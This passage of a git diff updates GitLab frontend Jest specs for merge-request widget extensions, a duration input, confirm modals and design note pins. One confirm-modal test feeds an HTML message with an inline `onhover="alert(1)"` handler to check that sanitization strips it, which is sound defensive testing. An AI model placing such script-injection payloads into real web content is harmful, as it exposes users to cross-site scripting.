import { securityReportMergeRequestDownloadPathsQueryResponse } from 'jest/vue_shared/security_reports/mock_data';
@@ -19,10 +20,15 @@ import { SUCCESS } from '~/vue_merge_request_widget/components/deployment/consta
import eventHub from '~/vue_merge_request_widget/event_hub';
import MrWidgetOptions from '~/vue_merge_request_widget/mr_widget_options.vue';
import { stateKey } from '~/vue_merge_request_widget/stores/state_maps';
+import StatusIcon from '~/vue_merge_request_widget/components/extensions/status_icon.vue';
import securityReportMergeRequestDownloadPathsQuery from '~/vue_shared/security_reports/graphql/queries/security_report_merge_request_download_paths.query.graphql';
import { faviconDataUrl, overlayDataUrl } from '../lib/utils/mock_data';
import mockData from './mock_data';
-import testExtension from './test_extension';
+import {
+ workingExtension,
+ collapsedDataErrorExtension,
+ fullDataErrorExtension,
+} from './test_extensions';
jest.mock('~/api.js');
@@ -892,7 +898,7 @@ describe('MrWidgetOptions', () => {
describe('mock extension', () => {
beforeEach(() => {
- registerExtension(testExtension);
+ registerExtension(workingExtension);
createComponent();
});
@@ -914,7 +920,7 @@ describe('MrWidgetOptions', () => {
.find('[data-testid="widget-extension"] [data-testid="toggle-button"]')
.trigger('click');
- await Vue.nextTick();
+ await nextTick();
expect(api.trackRedisHllUserEvent).toHaveBeenCalledWith('test_expand_event');
});
@@ -926,7 +932,7 @@ describe('MrWidgetOptions', () => {
.find('[data-testid="widget-extension"] [data-testid="toggle-button"]')
.trigger('click');
- await Vue.nextTick();
+ await nextTick();
expect(
wrapper.find('[data-testid="widget-extension-top-level"]').find(GlDropdown).exists(),
@@ -952,4 +958,50 @@ describe('MrWidgetOptions', () => {
expect(collapsedSection.find(GlButton).text()).toBe('Full report');
});
});
+
+ describe('mock extension errors', () => {
+ let captureException;
+
+ const itHandlesTheException = () => {
+ expect(captureException).toHaveBeenCalledTimes(1);
+ expect(captureException).toHaveBeenCalledWith(new Error('Fetch error'));
+ expect(wrapper.findComponent(StatusIcon).props('iconName')).toBe('error');
+ };
+
+ beforeEach(() => {
+ captureException = jest.spyOn(Sentry, 'captureException');
+ });
+
+ afterEach(() => {
+ registeredExtensions.extensions = [];
+ captureException = null;
+ });
+
+ it('handles collapsed data fetch errors', async () => {
+ registerExtension(collapsedDataErrorExtension);
+ createComponent();
+ await waitForPromises();
+
+ expect(
+ wrapper.find('[data-testid="widget-extension"] [data-testid="toggle-button"]').exists(),
+ ).toBe(false);
+ itHandlesTheException();
+ });
+
+ it('handles full data fetch errors', async () => {
+ registerExtension(fullDataErrorExtension);
+ createComponent();
+ await waitForPromises();
+
+ expect(wrapper.findComponent(StatusIcon).props('iconName')).not.toBe('error');
+ wrapper
+ .find('[data-testid="widget-extension"] [data-testid="toggle-button"]')
+ .trigger('click');
+
+ await nextTick();
+ await waitForPromises();
+
+ itHandlesTheException();
+ });
+ });
});
diff --git a/spec/frontend/vue_mr_widget/test_extension.js b/spec/frontend/vue_mr_widget/test_extension.js
deleted file mode 100644
index 65c1bd8473b..00000000000
--- a/spec/frontend/vue_mr_widget/test_extension.js
+++ /dev/null
@@ -1,39 +0,0 @@
-import { EXTENSION_ICONS } from '~/vue_merge_request_widget/constants';
-
-export default {
- name: 'WidgetTestExtension',
- props: ['targetProjectFullPath'],
- expandEvent: 'test_expand_event',
- computed: {
- summary({ count, targetProjectFullPath }) {
- return `Test extension summary count: ${count} & ${targetProjectFullPath}`;
- },
- statusIcon({ count }) {
- return count > 0 ? EXTENSION_ICONS.warning : EXTENSION_ICONS.success;
- },
- },
- methods: {
- fetchCollapsedData({ targetProjectFullPath }) {
- return Promise.resolve({ targetProjectFullPath, count: 1 });
- },
- fetchFullData() {
- return Promise.resolve([
- {
- id: 1,
- text: 'Hello world',
- icon: {
- name: EXTENSION_ICONS.failed,
- },
- badge: {
- text: 'Closed',
- },
- link: {
- href: 'https://gitlab.com',
- text: 'GitLab.com',
- },
- actions: [{ text: 'Full report', href: 'https://gitlab.com', target: '_blank' }],
- },
- ]);
- },
- },
-};
diff --git a/spec/frontend/vue_mr_widget/test_extensions.js b/spec/frontend/vue_mr_widget/test_extensions.js
new file mode 100644
index 00000000000..c7ff02ab726
--- /dev/null
+++ b/spec/frontend/vue_mr_widget/test_extensions.js
@@ -0,0 +1,99 @@
+import { EXTENSION_ICONS } from '~/vue_merge_request_widget/constants';
+
+export const workingExtension = {
+ name: 'WidgetTestExtension',
+ props: ['targetProjectFullPath'],
+ expandEvent: 'test_expand_event',
+ computed: {
+ summary({ count, targetProjectFullPath }) {
+ return `Test extension summary count: ${count} & ${targetProjectFullPath}`;
+ },
+ statusIcon({ count }) {
+ return count > 0 ? EXTENSION_ICONS.warning : EXTENSION_ICONS.success;
+ },
+ },
+ methods: {
+ fetchCollapsedData({ targetProjectFullPath }) {
+ return Promise.resolve({ targetProjectFullPath, count: 1 });
+ },
+ fetchFullData() {
+ return Promise.resolve([
+ {
+ id: 1,
+ text: 'Hello world',
+ icon: {
+ name: EXTENSION_ICONS.failed,
+ },
+ badge: {
+ text: 'Closed',
+ },
+ link: {
+ href: 'https://gitlab.com',
+ text: 'GitLab.com',
+ },
+ actions: [{ text: 'Full report', href: 'https://gitlab.com', target: '_blank' }],
+ },
+ ]);
+ },
+ },
+};
+
+export const collapsedDataErrorExtension = {
+ name: 'WidgetTestCollapsedErrorExtension',
+ props: ['targetProjectFullPath'],
+ expandEvent: 'test_expand_event',
+ computed: {
+ summary({ count, targetProjectFullPath }) {
+ return `Test extension summary count: ${count} & ${targetProjectFullPath}`;
+ },
+ statusIcon({ count }) {
+ return count > 0 ? EXTENSION_ICONS.warning : EXTENSION_ICONS.success;
+ },
+ },
+ methods: {
+ fetchCollapsedData() {
+ return Promise.reject(new Error('Fetch error'));
+ },
+ fetchFullData() {
+ return Promise.resolve([
+ {
+ id: 1,
+ text: 'Hello world',
+ icon: {
+ name: EXTENSION_ICONS.failed,
+ },
+ badge: {
+ text: 'Closed',
+ },
+ link: {
+ href: 'https://gitlab.com',
+ text: 'GitLab.com',
+ },
+ actions: [{ text: 'Full report', href: 'https://gitlab.com', target: '_blank' }],
+ },
+ ]);
+ },
+ },
+};
+
+export const fullDataErrorExtension = {
+ name: 'WidgetTestCollapsedErrorExtension',
+ props: ['targetProjectFullPath'],
+ expandEvent: 'test_expand_event',
+ computed: {
+ summary({ count, targetProjectFullPath }) {
+ return `Test extension summary count: ${count} & ${targetProjectFullPath}`;
+ },
+ statusIcon({ count }) {
+ return count > 0 ? EXTENSION_ICONS.warning : EXTENSION_ICONS.success;
+ },
+ },
+ methods: {
+ fetchCollapsedData({ targetProjectFullPath }) {
+ return Promise.resolve({ targetProjectFullPath, count: 1 });
+ },
+ fetchFullData() {
+ return Promise.reject(new Error('Fetch error'));
+ },
+ },
+};
diff --git a/spec/frontend/vue_shared/components/__snapshots__/source_editor_spec.js.snap b/spec/frontend/vue_shared/components/__snapshots__/source_editor_spec.js.snap
index 7ce155f6a5d..f414359fef2 100644
--- a/spec/frontend/vue_shared/components/__snapshots__/source_editor_spec.js.snap
+++ b/spec/frontend/vue_shared/components/__snapshots__/source_editor_spec.js.snap
@@ -3,6 +3,7 @@
exports[`Source Editor component rendering matches the snapshot 1`] = `
<div
data-editor-loading=""
+ data-qa-selector="source_editor_container"
id="source-editor-snippet_777"
>
<pre
diff --git a/spec/frontend/vue_shared/components/chronic_duration_input_spec.js b/spec/frontend/vue_shared/components/chronic_duration_input_spec.js
new file mode 100644
index 00000000000..530d01402c6
--- /dev/null
+++ b/spec/frontend/vue_shared/components/chronic_duration_input_spec.js
@@ -0,0 +1,390 @@
+import { mount } from '@vue/test-utils';
+import ChronicDurationInput from '~/vue_shared/components/chronic_duration_input.vue';
+
+const MOCK_VALUE = 2 * 3600 + 20 * 60;
+
+describe('vue_shared/components/chronic_duration_input', () => {
+ let wrapper;
+ let textElement;
+ let hiddenElement;
+
+ afterEach(() => {
+ wrapper.destroy();
+ wrapper = null;
+ textElement = null;
+ hiddenElement = null;
+ });
+
+ const findComponents = () => {
+ textElement = wrapper.find('input[type=text]').element;
+ hiddenElement = wrapper.find('input[type=hidden]').element;
+ };
+
+ const createComponent = (props = {}) => {
+ if (wrapper) {
+ throw new Error('There should only be one wrapper created per test');
+ }
+
+ wrapper = mount(ChronicDurationInput, { propsData: props });
+ findComponents();
+ };
+
+ describe('value', () => {
+ it('has human-readable output with value', () => {
+ createComponent({ value: MOCK_VALUE });
+
+ expect(textElement.value).toBe('2 hrs 20 mins');
+ expect(hiddenElement.value).toBe(MOCK_VALUE.toString());
+ });
+
+ it('has empty output with no value', () => {
+ createComponent({ value: null });
+
+ expect(textElement.value).toBe('');
+ expect(hiddenElement.value).toBe('');
+ });
+ });
+
+ describe('change', () => {
+ const createAndDispatch = async (initialValue, humanReadableInput) => {
+ createComponent({ value: initialValue });
+ await wrapper.vm.$nextTick();
+ textElement.value = humanReadableInput;
+ textElement.dispatchEvent(new Event('input'));
+ };
+
+ describe('when starting with no value and receiving human-readable input', () => {
+ beforeEach(() => {
+ createAndDispatch(null, '2hr20min');
+ });
+
+ it('updates hidden field', () => {
+ expect(textElement.value).toBe('2hr20min');
+ expect(hiddenElement.value).toBe(MOCK_VALUE.toString());
+ });
+
+ it('emits change event', () => {
+ expect(wrapper.emitted('change')).toEqual([[MOCK_VALUE]]);
+ });
+ });
+
+ describe('when starting with a value and receiving empty input', () => {
+ beforeEach(() => {
+ createAndDispatch(MOCK_VALUE, '');
+ });
+
+ it('updates hidden field', () => {
+ expect(textElement.value).toBe('');
+ expect(hiddenElement.value).toBe('');
+ });
+
+ it('emits change event', () => {
+ expect(wrapper.emitted('change')).toEqual([[null]]);
+ });
+ });
+
+ describe('when starting with a value and receiving invalid input', () => {
+ beforeEach(() => {
+ createAndDispatch(MOCK_VALUE, 'gobbledygook');
+ });
+
+ it('does not update hidden field', () => {
+ expect(textElement.value).toBe('gobbledygook');
+ expect(hiddenElement.value).toBe(MOCK_VALUE.toString());
+ });
+
+ it('does not emit change event', () => {
+ expect(wrapper.emitted('change')).toBeUndefined();
+ });
+ });
+ });
+
+ describe('valid', () => {
+ describe('initial value', () => {
+ beforeEach(() => {
+ createComponent({ value: MOCK_VALUE });
+ });
+
+ it('emits valid with initial value', () => {
+ expect(wrapper.emitted('valid')).toEqual([[{ valid: true, feedback: '' }]]);
+ expect(textElement.validity.valid).toBe(true);
+ expect(textElement.validity.customError).toBe(false);
+ expect(textElement.validationMessage).toBe('');
+ expect(hiddenElement.validity.valid).toBe(true);
+ expect(hiddenElement.validity.customError).toBe(false);
+ expect(hiddenElement.validationMessage).toBe('');
+ });
+
+ it('emits valid with user input', async () => {
+ textElement.value = '1m10s';
+ textElement.dispatchEvent(new Event('input'));
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.emitted('valid')).toEqual([
+ [{ valid: true, feedback: '' }],
+ [{ valid: true, feedback: '' }],
+ ]);
+ expect(textElement.validity.valid).toBe(true);
+ expect(textElement.validity.customError).toBe(false);
+ expect(textElement.validationMessage).toBe('');
+ expect(hiddenElement.validity.valid).toBe(true);
+ expect(hiddenElement.validity.customError).toBe(false);
+ expect(hiddenElement.validationMessage).toBe('');
+
+ textElement.value = '';
+ textElement.dispatchEvent(new Event('input'));
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.emitted('valid')).toEqual([
+ [{ valid: true, feedback: '' }],
+ [{ valid: true, feedback: '' }],
+ [{ valid: null, feedback: '' }],
+ ]);
+ expect(textElement.validity.valid).toBe(true);
+ expect(textElement.validity.customError).toBe(false);
+ expect(textElement.validationMessage).toBe('');
+ expect(hiddenElement.validity.valid).toBe(true);
+ expect(hiddenElement.validity.customError).toBe(false);
+ expect(hiddenElement.validationMessage).toBe('');
+ });
+
+ it('emits invalid with user input', async () => {
+ textElement.value = 'gobbledygook';
+ textElement.dispatchEvent(new Event('input'));
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.emitted('valid')).toEqual([
+ [{ valid: true, feedback: '' }],
+ [{ valid: false, feedback: ChronicDurationInput.i18n.INVALID_INPUT_FEEDBACK }],
+ ]);
+ expect(textElement.validity.valid).toBe(false);
+ expect(textElement.validity.customError).toBe(true);
+ expect(textElement.validationMessage).toBe(
+ ChronicDurationInput.i18n.INVALID_INPUT_FEEDBACK,
+ );
+ expect(hiddenElement.validity.valid).toBe(false);
+ expect(hiddenElement.validity.customError).toBe(true);
+ // Hidden elements do not have validationMessage
+ expect(hiddenElement.validationMessage).toBe('');
+ });
+ });
+
+ describe('no initial value', () => {
+ beforeEach(() => {
+ createComponent({ value: null });
+ });
+
+ it('emits valid with no initial value', () => {
+ expect(wrapper.emitted('valid')).toEqual([[{ valid: null, feedback: '' }]]);
+ expect(textElement.validity.valid).toBe(true);
+ expect(textElement.validity.customError).toBe(false);
+ expect(textElement.validationMessage).toBe('');
+ expect(hiddenElement.validity.valid).toBe(true);
+ expect(hiddenElement.validity.customError).toBe(false);
+ expect(hiddenElement.validationMessage).toBe('');
+ });
+
+ it('emits valid with updated value', async () => {
+ wrapper.setProps({ value: MOCK_VALUE });
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.emitted('valid')).toEqual([
+ [{ valid: null, feedback: '' }],
+ [{ valid: true, feedback: '' }],
+ ]);
+ expect(textElement.validity.valid).toBe(true);
+ expect(textElement.validity.customError).toBe(false);
+ expect(textElement.validationMessage).toBe('');
+ expect(hiddenElement.validity.valid).toBe(true);
+ expect(hiddenElement.validity.customError).toBe(false);
+ expect(hiddenElement.validationMessage).toBe('');
+ });
+ });
+
+ describe('decimal input', () => {
+ describe('when integerRequired is false', () => {
+ beforeEach(() => {
+ createComponent({ value: null, integerRequired: false });
+ });
+
+ it('emits valid when input is integer', async () => {
+ textElement.value = '2hr20min';
+ textElement.dispatchEvent(new Event('input'));
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.emitted('change')).toEqual([[MOCK_VALUE]]);
+ expect(wrapper.emitted('valid')).toEqual([
+ [{ valid: null, feedback: '' }],
+ [{ valid: true, feedback: '' }],
+ ]);
+ expect(textElement.validity.valid).toBe(true);
+ expect(textElement.validity.customError).toBe(false);
+ expect(textElement.validationMessage).toBe('');
+ expect(hiddenElement.validity.valid).toBe(true);
+ expect(hiddenElement.validity.customError).toBe(false);
+ expect(hiddenElement.validationMessage).toBe('');
+ });
+
+ it('emits valid when input is decimal', async () => {
+ textElement.value = '1.5s';
+ textElement.dispatchEvent(new Event('input'));
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.emitted('change')).toEqual([[1.5]]);
+ expect(wrapper.emitted('valid')).toEqual([
+ [{ valid: null, feedback: '' }],
+ [{ valid: true, feedback: '' }],
+ ]);
+ expect(textElement.validity.valid).toBe(true);
+ expect(textElement.validity.customError).toBe(false);
+ expect(textElement.validationMessage).toBe('');
+ expect(hiddenElement.validity.valid).toBe(true);
+ expect(hiddenElement.validity.customError).toBe(false);
+ expect(hiddenElement.validationMessage).toBe('');
+ });
+ });
+
+ describe('when integerRequired is unspecified', () => {
+ beforeEach(() => {
+ createComponent({ value: null });
+ });
+
+ it('emits valid when input is integer', async () => {
+ textElement.value = '2hr20min';
+ textElement.dispatchEvent(new Event('input'));
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.emitted('change')).toEqual([[MOCK_VALUE]]);
+ expect(wrapper.emitted('valid')).toEqual([
+ [{ valid: null, feedback: '' }],
+ [{ valid: true, feedback: '' }],
+ ]);
+ expect(textElement.validity.valid).toBe(true);
+ expect(textElement.validity.customError).toBe(false);
+ expect(textElement.validationMessage).toBe('');
+ expect(hiddenElement.validity.valid).toBe(true);
+ expect(hiddenElement.validity.customError).toBe(false);
+ expect(hiddenElement.validationMessage).toBe('');
+ });
+
+ it('emits invalid when input is decimal', async () => {
+ textElement.value = '1.5s';
+ textElement.dispatchEvent(new Event('input'));
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.emitted('change')).toBeUndefined();
+ expect(wrapper.emitted('valid')).toEqual([
+ [{ valid: null, feedback: '' }],
+ [
+ {
+ valid: false,
+ feedback: ChronicDurationInput.i18n.INVALID_DECIMAL_FEEDBACK,
+ },
+ ],
+ ]);
+ expect(textElement.validity.valid).toBe(false);
+ expect(textElement.validity.customError).toBe(true);
+ expect(textElement.validationMessage).toBe(
+ ChronicDurationInput.i18n.INVALID_DECIMAL_FEEDBACK,
+ );
+ expect(hiddenElement.validity.valid).toBe(false);
+ expect(hiddenElement.validity.customError).toBe(true);
+ // Hidden elements do not have validationMessage
+ expect(hiddenElement.validationMessage).toBe('');
+ });
+ });
+ });
+ });
+
+ describe('v-model', () => {
+ beforeEach(() => {
+ wrapper = mount({
+ data() {
+ return { value: 1 * 60 + 10 };
+ },
+ components: { ChronicDurationInput },
+ template: '<div><chronic-duration-input v-model="value"/></div>',
+ });
+ findComponents();
+ });
+
+ describe('value', () => {
+ it('passes initial prop via v-model', () => {
+ expect(textElement.value).toBe('1 min 10 secs');
+ expect(hiddenElement.value).toBe((1 * 60 + 10).toString());
+ });
+
+ it('passes updated prop via v-model', async () => {
+ wrapper.setData({ value: MOCK_VALUE });
+ await wrapper.vm.$nextTick();
+
+ expect(textElement.value).toBe('2 hrs 20 mins');
+ expect(hiddenElement.value).toBe(MOCK_VALUE.toString());
+ });
+ });
+
+ describe('change', () => {
+ it('passes user input to parent via v-model', async () => {
+ textElement.value = '2hr20min';
+ textElement.dispatchEvent(new Event('input'));
+ await wrapper.vm.$nextTick();
+
+ expect(wrapper.findComponent(ChronicDurationInput).props('value')).toBe(MOCK_VALUE);
+ expect(textElement.value).toBe('2hr20min');
+ expect(hiddenElement.value).toBe(MOCK_VALUE.toString());
+ });
+ });
+ });
+
+ describe('name', () => {
+ beforeEach(() => {
+ createComponent({ name: 'myInput' });
+ });
+
+ it('sets name of hidden field', () => {
+ expect(hiddenElement.name).toBe('myInput');
+ });
+
+ it('does not set name of text field', () => {
+ expect(textElement.name).toBe('');
+ });
+ });
+
+ describe('form submission', () => {
+ beforeEach(() => {
+ wrapper = mount({
+ template: `<form data-testid="myForm"><chronic-duration-input name="myInput" :value="${MOCK_VALUE}"/></form>`,
+ components: {
+ ChronicDurationInput,
+ },
+ });
+ findComponents();
+ });
+
+ it('creates form data with initial value', () => {
+ const formData = new FormData(wrapper.find('[data-testid=myForm]').element);
+ const iter = formData.entries();
+
+ expect(iter.next()).toEqual({
+ value: ['myInput', MOCK_VALUE.toString()],
+ done: false,
+ });
+ expect(iter.next()).toEqual({ value: undefined, done: true });
+ });
+
+ it('creates form data with user-specified value', async () => {
+ textElement.value = '1m10s';
+ textElement.dispatchEvent(new Event('input'));
+ await wrapper.vm.$nextTick();
+
+ const formData = new FormData(wrapper.find('[data-testid=myForm]').element);
+ const iter = formData.entries();
+
+ expect(iter.next()).toEqual({
+ value: ['myInput', (1 * 60 + 10).toString()],
+ done: false,
+ });
+ expect(iter.next()).toEqual({ value: undefined, done: true });
+ });
+ });
+});
diff --git a/spec/frontend/vue_shared/components/clipboard_button_spec.js b/spec/frontend/vue_shared/components/clipboard_button_spec.js
index ab4008484e5..33445923a49 100644
--- a/spec/frontend/vue_shared/components/clipboard_button_spec.js
+++ b/spec/frontend/vue_shared/components/clipboard_button_spec.js
@@ -89,6 +89,16 @@ describe('clipboard button', () => {
expect(onClick).toHaveBeenCalled();
});
+ it('passes the category and variant props to the GlButton', () => {
+ const category = 'tertiary';
+ const variant = 'confirm';
+
+ createWrapper({ title: '', text: '', category, variant });
+
+ expect(findButton().props('category')).toBe(category);
+ expect(findButton().props('variant')).toBe(variant);
+ });
+
describe('integration', () => {
it('actually copies to clipboard', () => {
initCopyToClipboard();
diff --git a/spec/frontend/vue_shared/components/confirm_danger/confirm_danger_spec.js b/spec/frontend/vue_shared/components/confirm_danger/confirm_danger_spec.js
index 220f897c035..af7f85769aa 100644
--- a/spec/frontend/vue_shared/components/confirm_danger/confirm_danger_spec.js
+++ b/spec/frontend/vue_shared/components/confirm_danger/confirm_danger_spec.js
@@ -9,6 +9,7 @@ describe('Confirm Danger Modal', () => {
const phrase = 'En Taro Adun';
const buttonText = 'Click me!';
+ const buttonClass = 'gl-w-full';
const modalId = CONFIRM_DANGER_MODAL_ID;
const findBtn = () => wrapper.findComponent(GlButton);
@@ -19,6 +20,7 @@ describe('Confirm Danger Modal', () => {
shallowMountExtended(ConfirmDanger, {
propsData: {
buttonText,
+ buttonClass,
phrase,
...props,
},
@@ -51,6 +53,10 @@ describe('Confirm Danger Modal', () => {
expect(findBtn().attributes('disabled')).toBe('true');
});
+ it('passes `buttonClass` prop to button', () => {
+ expect(findBtn().classes()).toContain(buttonClass);
+ });
+
it('will emit `confirm` when the modal confirms', () => {
expect(wrapper.emitted('confirm')).toBeUndefined();
diff --git a/spec/frontend/vue_shared/components/confirm_modal_spec.js b/spec/frontend/vue_shared/components/confirm_modal_spec.js
index db8d0674121..3ca1c943398 100644
--- a/spec/frontend/vue_shared/components/confirm_modal_spec.js
+++ b/spec/frontend/vue_shared/components/confirm_modal_spec.js
@@ -1,6 +1,9 @@
import { shallowMount } from '@vue/test-utils';
+import { merge } from 'lodash';
import { TEST_HOST } from 'helpers/test_constants';
+import eventHub, { EVENT_OPEN_CONFIRM_MODAL } from '~/vue_shared/components/confirm_modal_eventhub';
import ConfirmModal from '~/vue_shared/components/confirm_modal.vue';
+import DomElementListener from '~/vue_shared/components/dom_element_listener.vue';
jest.mock('~/lib/utils/csrf', () => ({ token: 'test-csrf-token' }));
@@ -54,12 +57,50 @@ describe('vue_shared/components/confirm_modal', () => {
findForm()
.findAll('input')
.wrappers.map((x) => ({ name: x.attributes('name'), value: x.attributes('value') }));
+ const findDomElementListener = () => wrapper.find(DomElementListener);
+ const triggerOpenWithEventHub = (modalData) => {
+ eventHub.$emit(EVENT_OPEN_CONFIRM_MODAL, modalData);
+ };
+ const triggerOpenWithDomListener = (modalData) => {
+ const element = document.createElement('button');
+
+ element.dataset.path = modalData.path;
+ element.dataset.method = modalData.method;
+ element.dataset.modalAttributes = JSON.stringify(modalData.modalAttributes);
+
+ findDomElementListener().vm.$emit('click', {
+ preventDefault: jest.fn(),
+ currentTarget: element,
+ });
+ };
+
+ describe('default', () => {
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it('renders empty GlModal', () => {
+ expect(findModal().props()).toEqual({});
+ });
+
+ it('renders form missing values', () => {
+ expect(findForm().attributes('action')).toBe('');
+ expect(findFormData()).toEqual([
+ { name: '_method', value: undefined },
+ { name: 'authenticity_token', value: 'test-csrf-token' },
+ ]);
+ });
+ });
describe('template', () => {
- describe('when modal data is set', () => {
+ describe.each`
+ desc | trigger
+ ${'when opened from eventhub'} | ${triggerOpenWithEventHub}
+ ${'when opened from dom listener'} | ${triggerOpenWithDomListener}
+ `('$desc', ({ trigger }) => {
beforeEach(() => {
createComponent();
- wrapper.vm.modalAttributes = MOCK_MODAL_DATA.modalAttributes;
+ trigger(MOCK_MODAL_DATA);
});
it('renders GlModal with data', () => {
@@ -71,6 +112,14 @@ describe('vue_shared/components/confirm_modal', () => {
}),
);
});
+
+ it('renders form', () => {
+ expect(findForm().attributes('action')).toBe(MOCK_MODAL_DATA.path);
+ expect(findFormData()).toEqual([
+ { name: '_method', value: MOCK_MODAL_DATA.method },
+ { name: 'authenticity_token', value: 'test-csrf-token' },
+ ]);
+ });
});
describe.each`
@@ -79,11 +128,10 @@ describe('vue_shared/components/confirm_modal', () => {
${'when message has html'} | ${{ messageHtml: '<p>Header</p><ul onhover="alert(1)"><li>First</li></ul>' }} | ${'<p>Header</p><ul><li>First</li></ul>'}
`('$desc', ({ attrs, expectation }) => {
beforeEach(() => {
+ const modalData = merge({ ...MOCK_MODAL_DATA }, { modalAttributes: attrs });
+
createComponent();
- wrapper.vm.modalAttributes = {
- ...MOCK_MODAL_DATA.modalAttributes,
- ...attrs,
- };
+ triggerOpenWithEventHub(modalData);
});
it('renders message', () => {
@@ -96,8 +144,7 @@ describe('vue_shared/components/confirm_modal', () => {
describe('submitModal', () => {
beforeEach(() => {
createComponent();
- wrapper.vm.path = MOCK_MODAL_DATA.path;
- wrapper.vm.method = MOCK_MODAL_DATA.method;
+ triggerOpenWithEventHub(MOCK_MODAL_DATA);
});
it('does not submit form', () => {
diff --git a/spec/frontend/vue_shared/components/delete_label_modal_spec.js b/spec/frontend/vue_shared/components/delete_label_modal_spec.js
deleted file mode 100644
index 3905690dab4..00000000000
--- a/spec/frontend/vue_shared/components/delete_label_modal_spec.js
+++ /dev/null
@@ -1,64 +0,0 @@
-import { GlModal } from '@gitlab/ui';
-import { mount } from '@vue/test-utils';
-import { stubComponent } from 'helpers/stub_component';
-import { TEST_HOST } from 'helpers/test_constants';
-import { extendedWrapper } from 'helpers/vue_test_utils_helper';
-import DeleteLabelModal from '~/vue_shared/components/delete_label_modal.vue';
-
-const MOCK_MODAL_DATA = {
- labelName: 'label 1',
- subjectName: 'GitLab Org',
- destroyPath: `${TEST_HOST}/1`,
-};
-
-describe('vue_shared/components/delete_label_modal', () => {
- let wrapper;
-
- const createComponent = () => {
- wrapper = extendedWrapper(
- mount(DeleteLabelModal, {
- propsData: {
- selector: '.js-test-btn',
- },
- stubs: {
- GlModal: stubComponent(GlModal, {
- template:
- '<div><slot name="modal-title"></slot><slot></slot><slot name="modal-footer"></slot></div>',
- }),
- },
- }),
- );
- };
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- const findModal = () => wrapper.find(GlModal);
- const findPrimaryModalButton = () => wrapper.findByTestId('delete-button');
-
- describe('template', () => {
- describe('when modal data is set', () => {
- beforeEach(() => {
- createComponent();
- wrapper.vm.labelName = MOCK_MODAL_DATA.labelName;
- wrapper.vm.subjectName = MOCK_MODAL_DATA.subjectName;
- wrapper.vm.destroyPath = MOCK_MODAL_DATA.destroyPath;
- });
-
- it('renders GlModal', () => {
- expect(findModal().exists()).toBe(true);
- });
-
- it('displays the label name and subject name', () => {
- expect(findModal().text()).toContain(
- `${MOCK_MODAL_DATA.labelName} will be permanently deleted from ${MOCK_MODAL_DATA.subjectName}. This cannot be undone`,
- );
- });
-
- it('passes the destroyPath to the button', () => {
- expect(findPrimaryModalButton().attributes('href')).toBe(MOCK_MODAL_DATA.destroyPath);
- });
- });
- });
-});
diff --git a/spec/frontend/vue_shared/components/design_management/__snapshots__/design_note_pin_spec.js.snap b/spec/frontend/vue_shared/components/design_management/__snapshots__/design_note_pin_spec.js.snap
new file mode 100644
index 00000000000..eb0adb0bebd
--- /dev/null
+++ b/spec/frontend/vue_shared/components/design_management/__snapshots__/design_note_pin_spec.js.snap
@@ -0,0 +1,55 @@
+// Jest Snapshot v1, https://goo.gl/fbAQLP
+
+exports[`Design note pin component should match the snapshot of note with index 1`] = `
+<button
+ aria-label="Comment '1' position"
+ class="gl-display-flex gl-align-items-center gl-justify-content-center gl-font-sm js-image-badge design-note-pin gl-absolute"
+ style="left: 10px; top: 10px;"
+ type="button"
+>
+
+ 1
+
+</button>
+`;
+
+exports[`Design note pin component should match the snapshot of note without index 1`] = `
+<button
+ aria-label="Comment form position"
+ class="gl-display-flex gl-align-items-center gl-justify-content-center gl-font-sm btn-transparent comment-indicator gl-absolute"
+ style="left: 10px; top: 10px;"
+ type="button"
+>
+ <gl-icon-stub
+ name="image-comment-dark"
+ size="24"
+ />
+</button>
+`;
+
+exports[`Design note pin component should match the snapshot when pin is resolved 1`] = `
+<button
+ aria-label="Comment form position"
+ class="gl-display-flex gl-align-items-center gl-justify-content-center gl-font-sm btn-transparent comment-indicator resolved gl-absolute"
+ style="left: 10px; top: 10px;"
+ type="button"
+>
+ <gl-icon-stub
+ name="image-comment-dark"
+ size="24"
+ />
+</button>
+`;
+
+exports[`Design note pin component should match the snapshot when position is absent 1`] = `
+<button
+ aria-label="Comment form position"
+ class="gl-display-flex gl-align-items-center gl-justify-content-center gl-font-sm btn-transparent comment-indicator"
+ type="button"
+>
+ <gl-icon-stub
+ name="image-comment-dark"
+ size="24"
+ />
+</button>
+`;
diff --git a/spec/frontend/vue_shared/components/design_management/design_note_pin_spec.js b/spec/frontend/vue_shared/components/design_management/design_note_pin_spec.js
new file mode 100644
index 00000000000..984a28c93d6
--- /dev/null
+++ b/spec/frontend/vue_shared/components/design_management/design_note_pin_spec.js
@@ -0,0 +1,42 @@
+import { shallowMount } from '@vue/test-utils';
+import DesignNotePin from '~/vue_shared/components/design_management/design_note_pin.vue';
+
+describe('Design note pin component', () => {
+ let wrapper;
+
+ function createComponent(propsData = {}) {
+ wrapper = shallowMount(DesignNotePin, {
+ propsData: {
+ position: {
+ left: '10px',
+ top: '10px',
+ },
+ ...propsData,
+ },
+ });
+ }
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('should match the snapshot of note without index', () => {
+ createComponent();
+ expect(wrapper.element).toMatchSnapshot();
+ });
+
+ it('should match the snapshot of note with index', () => {
+ createComponent({ label: 1 });
+ expect(wrapper.element).toMatchSnapshot();
+ });
+
+ it('should match the snapshot when pin is resolved', () => {
+ createComponent({ isResolved: true });
+ expect(wrapper.element).toMatchSnapshot();
+ });
+
+ it('should match the snapshot when position is absent', () => {
+ createComponent({ position: null });
+ expect(wrapper.element).toMatchSnapshot();
+ });
+});
diff --git a/spec/frontend/vue_shared/components/diff_viewer/viewers/renamed_spec.js b/spec/frontend/vue_shared/components/diff_viewer/viewers/renamed_spec.js
index 9f433816b34..b8d3cbebe16 100644
--- a/spec/frontend/vue_shared/components/diff_viewer/viewers/renamed_spec.js
+++ b/spec/frontend/vue_shared/components/diff_viewer/viewers/renamed_spec.js
@@ -1,4 +1,5 @@
-import { createLocalVue, shallowMount, mount } from '@vue/test-utils';
+import { shallowMount, mount } from '@vue/test-utils';
+import Vue from 'vue';
import Vuex from 'vuex';
import {
